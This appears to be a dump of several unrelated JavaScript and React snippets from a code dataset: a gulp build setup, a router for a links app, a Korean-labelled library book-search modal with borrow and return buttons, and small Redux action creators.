// gulp.watch("public/jsx/components/*.jsx", ['bundle']);
// gulp.watch("public/jsx/*.jsx", ['bundle']);
// gulp.watch("public/jsx/components/*.jsx", ['bundle']);
// gulp.watch("public/js/*.js").on('change', browserSync.reload);
});
gulp.task('bundle', function() {
return browserify({
entries: 'public/jsx/main.jsx',
debug: true,
})
.transform(reactify)
.bundle()
.pipe(source('main.js'))
.pipe(gulp.dest('./public/js'));
});
gulp.task('browser-sync', ['nodemon'], function() {
browserSync.init(null, {
proxy: "http://localhost:3000",
files: [
"public/**/*.*",
"views/*.*"
],
port: 8000,
});
});
gulp.task('nodemon', function (cb) {
var started = false;
return nodemon({
// ignore: ["public/*"],
script: 'bin/www'
}).on('start', function () {
// to avoid nodemon being started multiple times
if (!started) {
cb();
started = true;
}
});
});
// gulp.task('live-server', function() {
// var server = new LiveServer('bin/www');
// server.start();
// });
// gulp.task('serve', ['bundle', 'live-server'], function() {
// browserSync.init(null, {
// proxy: "http://localhost:3000",
// files: [
// "public/**/*.*",
// "views/*.*"
// ],
// port: 8000,
// });
// });
|
import React from 'react';
import styles from './style.module.css';
export default function SpecialGrid({ image, children }) {
return (
<div className={styles.root}>
<div className={styles.leftSection}>{children}</div>
<img alt="img" src={image} className={styles.image} />
</div>
);
}
|
import React from 'react'
import { BrowserRouter, Route, Switch } from 'react-router-dom'
import Header from '../components/Header'
import LinksDashboard from '../components/LinksDashboard'
import CreateLink from '../components/CreateLink'
import LoginPage from '../components/LoginPage'
import EditPage from '../components/EditPage'
import EditLink from '../components/EditLink'
import SignupPage from '../components/SignupPage'
import Footer from '../components/Footer'
const AppRouter = () => {
return (
<BrowserRouter>
<Header />
<Switch>
<Route path='/' component={LinksDashboard} exact/>
<Route path='/login' component={LoginPage}/>
<Route path='/create' component={CreateLink}/>
<Route path='/signup' component={SignupPage} />
<Route path='/edit' exact component={EditPage} />
<Route path="/edit/:id" component={EditLink} />
</Switch>
<Footer />
</BrowserRouter>
)
}
export default AppRouter
|
import React from 'react';
import Modal from 'react-modal'
const customStyles = {
content: {
top: '50%',
left: '50%',
right: 'auto',
bottom: 'auto',
marginRight: '-50%',
transform: 'translate(-50%, -50%)',
width: '40rem',
height: '25rem'
}
};
Modal.setAppElement('body')
const BookSearchPresenter = (props) => {
return (
<div className="grid grid-cols-5 mx-60 mt-8">
{props.bookData.map((book, index) => (
<div className="justify-self-center my-3" key={book.tb_book_id} onClick={() => props.openModal(book.tb_book_id)}>
<img className="bg-gray-200 w-40 h-56 border border-gray-200" src={book.tb_book_image} alt="BookImage" width={120} height={200} />
<div className="font-sans text-sm font-bold text-center mt-1 truncate">{book.tb_book_name}</div>
<div className="font-sans text-xs font-medium text-center -mt-0.5 truncate">{book.tb_book_author}</div>
</div>
))}
<Modal
isOpen={props.modalIsOpen}
onRequestClose={props.closeModal}
style={customStyles}
contentLabel="Book Detail">
<div className="font-sans text-lg font-bold text-black mx-8 my-4">Book Information</div>
<div className="flex mx-8">
<img className="bg-gray-200 w-40 h-56 border border-gray-200" src={props.modalBook.tb_book_image} alt="BookImage" />
<div className="ml-10">
<div className="mb-1">
<span className="font-sans text-base font-bold text-black">제목 : </span>
<span className="font-sans text-sm font-normal text-black">
{props.modalBook.tb_book_name}</span><br />
</div>
<div className="mb-1">
<span className="font-sans text-base font-bold text-black">작가 : </span>
<span className="font-sans text-sm font-normal text-black">
{props.modalBook.tb_book_author}</span><br />
</div>
<div className="mb-1">
<span className="font-sans text-base font-bold text-black">대출 상태 : </span>
{props.modalBook.tb_book_state === 1 ?
<span className="font-sans text-sm font-medium text-red-400">
대출 중</span>
:
<span className="font-sans text-sm font-medium text-blue-600">
대출 가능</span>
}
</div>
</div>
</div>
<div className="flex justify-center mt-8">
{props.userManagement === 1 ?
<span>
<button
className="border-solid border border-gray-400 rounded-sm bg-gray-400 font-sans font-semibold text-sm text-white px-2 py-1 mx-1"
onClick={props.updateBookData}>Edit</button>
<button
className="border-solid border border-gray-400 rounded-sm bg-gray-400 font-sans font-semibold text-sm text-white px-2 py-1 mx-1"
onClick={props.deleteBook}>Delete</button>
</span>
:
props.userManagement === 0 ?
props.modalBook.tb_book_state === 0 ?
<span>
<button
className="border-solid border border-gray-400 rounded-sm bg-gray-400 font-sans font-semibold text-sm text-white px-2 py-1 mx-1"
onClick={props.borrow}>Borrow</button>
</span>
:
<span>
<button
className="border-solid border border-gray-400 rounded-sm bg-gray-400 font-sans font-semibold text-sm text-white px-2 py-1 mx-1"
onClick={props.return}>Return</button>
</span>
:
<span></span>
}
<button
className="border-solid border border-gray-600 rounded-sm bg-gray-600 font-sans font-semibold text-sm text-white px-2 py-1 mx-1"
onClick={props.closeModal}>Close</button>
</div>
</Modal>
</div>
);
};
export default BookSearchPresenter;
|
function increaseTodoPageNumber() {
return {
type: "TODO-INCREMENT",
};
}
function increaseDonePageNumber() {
return {
type: "DONE-INCREMENT",
};
}
function increasePinPageNumber() {
return {
type: "PIN-INCREMENT",
};
}
export {
increaseTodoPageNumber,
increaseDonePageNumber,
increasePinPageNumber,
};
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.